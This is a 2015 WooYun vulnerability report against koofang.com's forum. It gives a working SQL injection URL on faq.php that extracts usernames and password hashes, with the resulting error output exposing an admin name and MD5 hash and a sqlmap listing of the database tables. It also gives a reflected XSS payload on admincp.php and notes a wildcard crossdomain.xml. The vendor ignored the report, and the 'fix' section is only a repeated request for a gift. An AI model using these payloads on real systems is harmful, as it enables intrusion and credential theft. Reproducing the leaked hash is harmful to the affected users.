当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0158848

漏洞标题：点到为止之酷房网sql注入用户信息告急&多个漏洞打包

相关厂商：koofang.com

漏洞作者： 路人甲

提交时间：2015-12-06 21:39

修复时间：2015-12-11 21:40

公开时间：2015-12-11 21:40

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-06： 细节已通知厂商并且等待厂商处理中
2015-12-11： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

rt

详细说明：

0x01:faq.php存在sql注射
http://bbs.koofang.com
利用代码：

http://bbs.koofang.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20(select%20(select%20concat(username,0x27,password)%20from%20cdb_members%20limit%201)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23


SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','\',') and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from [Table]members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#')
Error: Duplicate entry 'admin'5e7a0a348c1f25d537e71d4de73f9ddb1' for key 'group_key'
Errno.: 1062


sqlmap图：

2015-12-06_170503.png


Database: bbs_utf8
[112 tables]
+--------------------------+
| [Table]access            |
| [Table]activities        |
| [Table]activityapplies   |
| [Table]addons            |
| [Table]adminactions      |
| [Table]admincustom       |
| [Table]admingroups       |
| [Table]adminnotes        |
| [Table]adminsessions     |
| [Table]advertisements    |
| [Table]announcements     |
| [Table]attachmentfields  |
| [Table]attachments       |
| [Table]attachpaymentlog  |
| [Table]attachtypes       |
| [Table]banned            |
| [Table]bbcodes           |
| [Table]caches            |
| [Table]creditslog        |
| [Table]crons             |
| [Table]debateposts       |
| [Table]debates           |
| [Table]dzpoll_attachment |
| [Table]dzpoll_config     |
| [Table]dzpoll_option     |
| [Table]dzpoll_vote       |
| [Table]dzpoll            |
| [Table]failedlogins      |
| [Table]faqs              |
| [Table]favoriteforums    |
| [Table]favorites         |
| [Table]favoritethreads   |
| [Table]feeds             |
| [Table]forumfields       |
| [Table]forumlinks        |
| [Table]forumrecommend    |
| [Table]forums            |
| [Table]imagetypes        |
| [Table]imgpolloptions    |
| [Table]imgpolls          |
| [Table]invites           |
| [Table]itempool          |
| [Table]magiclog          |
| [Table]magicmarket       |
| [Table]magics            |
| [Table]medallog          |
| [Table]medals            |
| [Table]memberfields      |
| [Table]membermagics      |
| [Table]memberrecommend   |
| [Table]members_bak       |
| [Table]members           |
| [Table]memberspaces      |
| [Table]moderators        |
| [Table]modworks          |
| [Table]myrepeats         |
| [Table]mytasks           |
| [Table]navs              |
| [Table]onlinelist        |
| [Table]onlinetime        |
| [Table]orders            |
| [Table]paymentlog        |
| [Table]pluginhooks       |
| [Table]plugins           |
| [Table]pluginvars        |
| [Table]polloptions       |
| [Table]polls             |
| [Table]postposition      |
| [Table]posts             |
| [Table]profilefields     |
| [Table]projects          |
| [Table]promotions        |
| [Table]prompt            |
| [Table]promptmsgs        |
| [Table]prompttype        |
| [Table]ranks             |
| [Table]ratelog           |
| [Table]regips            |
| [Table]relatedthreads    |
| [Table]reportlog         |
| [Table]request           |
| [Table]rewardlog         |
| [Table]rsscaches         |
| [Table]searchindex       |
| [Table]sessions          |
| [Table]settings          |
| [Table]smilies           |
| [Table]spacecaches       |
| [Table]stats             |
| [Table]statvars          |
| [Table]styles            |
| [Table]stylevars         |
| [Table]tags              |
| [Table]tasks             |
| [Table]taskvars          |
| [Table]templates         |
| [Table]threads           |
| [Table]threadsmod        |
| [Table]threadtags        |
| [Table]threadtypes       |
| [Table]tradecomments     |
| [Table]tradelog          |
| [Table]tradeoptionvars   |
| [Table]trades            |
| [Table]typemodels        |
| [Table]typeoptions       |
| [Table]typeoptionvars    |
| [Table]typevars          |
| [Table]usergroups        |
| [Table]validating        |
| [Table]warnings          |
| [Table]words             |
+--------------------------+

漏洞证明：

0x02:xss
http://bbs.koofang.com/admincp.php?infloat=yes&handlekey=123);alert(/WooYun/);//
如图：

2015-12-06_171010.png


0x03:flash跨域

http://bbs.koofang.com/crossdomain.xml


*代表任意
0x04:一处代码错误

http://beijing.koofang.com/up.php

修复方案：

我是来找礼物的！
我是来找礼物的！
我是来找礼物的！
我是来找礼物的！
我是来找礼物的！
我是来找礼物的！
我是来找礼物的！

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-12-11 21:40

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无

漏洞评价：

评价